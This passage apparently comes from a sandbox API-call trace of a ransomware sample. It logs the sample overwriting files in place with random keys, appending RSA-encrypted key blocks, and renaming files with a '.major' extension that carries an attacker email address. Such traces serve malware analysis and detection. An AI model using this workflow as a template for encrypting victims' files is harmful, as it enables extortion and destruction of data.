ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0139.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0139.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0139.821] GetLastError () returned 0x0 [0139.821] SetLastError (dwErrCode=0x0) [0139.821] GetLastError () returned 0x0 [0139.821] SetLastError (dwErrCode=0x0) [0139.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0139.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0139.821] GetLastError () returned 0x0 [0139.821] SetLastError (dwErrCode=0x0) [0139.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb30 [0139.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb30 | out: hHeap=0x570000) returned 1 [0139.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0139.821] FindNextFileW (in: hFindFile=0x5b5570, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff7e73b, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfff7e73b, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfffa48bd, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0139.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0139.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0139.821] GetLastError () returned 0x0 [0139.821] SetLastError (dwErrCode=0x0) [0139.821] GetLastError () returned 0x0 [0139.821] SetLastError (dwErrCode=0x0) [0139.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0139.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0139.821] GetLastError () returned 0x0 [0139.821] SetLastError (dwErrCode=0x0) [0139.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.821] FindNextFileW (in: hFindFile=0x5b5570, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0139.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0139.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0139.821] GetLastError () returned 0x0 [0139.822] SetLastError (dwErrCode=0x0) [0139.822] GetLastError () returned 0x0 [0139.822] SetLastError (dwErrCode=0x0) [0139.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0139.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0139.822] GetLastError () returned 0x0 [0139.822] SetLastError (dwErrCode=0x0) [0139.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0139.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0139.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0139.822] FindNextFileW (in: hFindFile=0x5b5570, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0139.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0139.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.822] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.822] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1046\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0139.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0139.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0139.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0139.823] CreateFileW (lpFileName="\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c8 [0139.823] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18264) returned 1 [0139.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x60d870 [0139.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x611fd0 [0139.823] ReadFile (in: hFile=0x4c8, lpBuffer=0x60d870, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0139.930] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.930] WriteFile (in: hFile=0x4c8, lpBuffer=0x611fd0*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x611fd0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0141.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x611fd0 | out: hHeap=0x570000) returned 1 [0141.029] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4758 [0141.029] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.029] WriteFile (in: hFile=0x4c8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.029] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.029] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.029] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.030] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="Gh5g/o5Dlxo8IxhD4/NE/80lDoQqB4aD/lSJv+lVNrtCisygoTSrE0FgxjAS5kNy\nbsLCRiQZZ2Av6bvD2VZBe91Xo7Mg3sQGgP/VXhDeOS3X5Ea9N2MBW8StsfrCxx2N\naH+ccyUvlBjJNqJGGhkVHVX4QWeMajresg/mQ8eUWWPevOI1NdiINZQYUb6h+aCK\ntjmC1EjNGkme+jNTusy2smvjsNZzfRhdHMnpk3KFFBmzRKVpnHrUPuDWxoMekdbq\nXv0fkUtXIfBHmkBrcPzVO+28yBPVBF0EDWT9qHuegrr67WYqWyNHCcMSDpRn6na8\nBcbvwalk/zmoOMLEqzbBkg==\n", pcchString=0x2e3f9a8) returned 1 [0141.030] WriteFile (in: hFile=0x4c8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.030] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.030] WriteFile (in: hFile=0x4c8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.030] CloseHandle (hObject=0x4c8) returned 1 [0141.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.031] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1046\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0141.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0141.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0141.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0141.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.046] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.046] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1046\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0141.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0141.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0141.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0141.046] CreateFileW (lpFileName="\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c8 [0141.046] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=80738) returned 1 [0141.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13b62) returned 0x60d870 [0141.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13b62) returned 0x2f40048 [0141.048] ReadFile (in: hFile=0x4c8, lpBuffer=0x60d870, nNumberOfBytesToRead=0x13b62, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x13b62, lpOverlapped=0x0) returned 1 [0141.067] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=-80738, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.067] WriteFile (in: hFile=0x4c8, lpBuffer=0x2f40048*, nNumberOfBytesToWrite=0x13b62, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13b62, lpOverlapped=0x0) returned 1 [0141.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0141.072] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13b62 [0141.072] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.073] WriteFile (in: hFile=0x4c8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.073] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.073] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.074] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.074] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.074] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="KFjDK9jON+1arzfEaHxg8HCGcOKPTqL6vBTU3O81zldQ2rUX1uTUlO8DPOYJw64/\nHlfrDFHmOJrhhWwBz/rWL6/92oO39Z2avjEWhmXd8yUpVvRm2I5GNIn/sQLmQokv\nwi07rN2zEV1cxYjt/C4CAG08t7sfTW6DW3tBqSrx0RKLoSG/WnStNpfRmPwqr23t\nmXcmmSAwaha29g8U4rNBz9GqU+nOo0XKsNpq89IFv1XikCiSBdgHIdrspZDapEt0\nFnK1WRjQrdQmssgz+Cq2u/zyCrzNxutN5hQxy3WsuNOw0Z4VQYhWhO8AsozmKFnN\ngbAkCOjB+0I114gaemsDWA==\n", pcchString=0x2e3f9a8) returned 1 [0141.074] WriteFile (in: hFile=0x4c8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.074] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.074] WriteFile (in: hFile=0x4c8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.074] CloseHandle (hObject=0x4c8) returned 1 [0141.074] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.074] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1046\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.076] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0141.076] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.076] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0141.076] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0141.076] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0141.076] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.076] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.076] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1046\\eula.rtf", dwFileAttributes=0x80) returned 1 [0141.076] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0141.076] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0141.076] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0141.077] CreateFileW (lpFileName="\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c8 [0141.077] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3683) returned 1 [0141.077] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe63) returned 0x60d870 [0141.077] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe63) returned 0x60e6e0 [0141.077] ReadFile (in: hFile=0x4c8, lpBuffer=0x60d870, nNumberOfBytesToRead=0xe63, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0xe63, lpOverlapped=0x0) returned 1 [0141.100] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=-3683, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.100] WriteFile (in: hFile=0x4c8, lpBuffer=0x60e6e0*, nNumberOfBytesToWrite=0xe63, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60e6e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe63, lpOverlapped=0x0) returned 1 [0141.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e6e0 | out: hHeap=0x570000) returned 1 [0141.100] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe63 [0141.101] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.101] WriteFile (in: hFile=0x4c8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.101] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.101] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.101] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.101] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="pN4f844tpd+5zrBmii4jOvGbyB2WmzNtTjMuTSHSdDphmFsxMOPIhmmWqs65WpkY\nlZwWGMZKuSkz/dMtKKtJIHxsafMopdcOM9nTZ86wxcdqnLeP2DP8OCnnSQ6TytUN\nOmAkCJx4d87txAFftbuh8Zh+0YvpgIhiEbtao2HDzMG83rBR5xtXSYAQfc+Wdzzd\n6+QEF6Mr7ELQbRrMrkctB03sqqlruFfqDSiySEfZObkW40TT2KWbluUf21XN0ZQi\na8/4DB4geETjWJuWcIp7oCq3MobxOSt2cNgL8iK4onbzKUIo0lnuZrdPR3f4ziUB\n2veV7BmR8dY8AWdD+cQYmw==\n", pcchString=0x2e3f9a8) returned 1 [0141.101] WriteFile (in: hFile=0x4c8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.101] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.101] WriteFile (in: hFile=0x4c8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.101] CloseHandle (hObject=0x4c8) returned 1 [0141.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.101] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1046\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0141.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc60 | out: hHeap=0x570000) returned 1 [0141.103] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfffcabcd, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b57f0 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0141.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0141.103] GetLastError () returned 0x0 [0141.103] SetLastError (dwErrCode=0x0) [0141.103] GetLastError () returned 0x0 [0141.103] SetLastError (dwErrCode=0x0) [0141.103] GetLastError () returned 0x0 [0141.103] SetLastError (dwErrCode=0x0) [0141.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecb8 [0141.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bef20 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0141.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b53f0 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b53f0 | out: hHeap=0x570000) returned 1 [0141.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecb8 | out: hHeap=0x570000) returned 1 [0141.103] FindNextFileW (in: hFindFile=0x5b57f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfffcabcd, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0141.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0141.103] 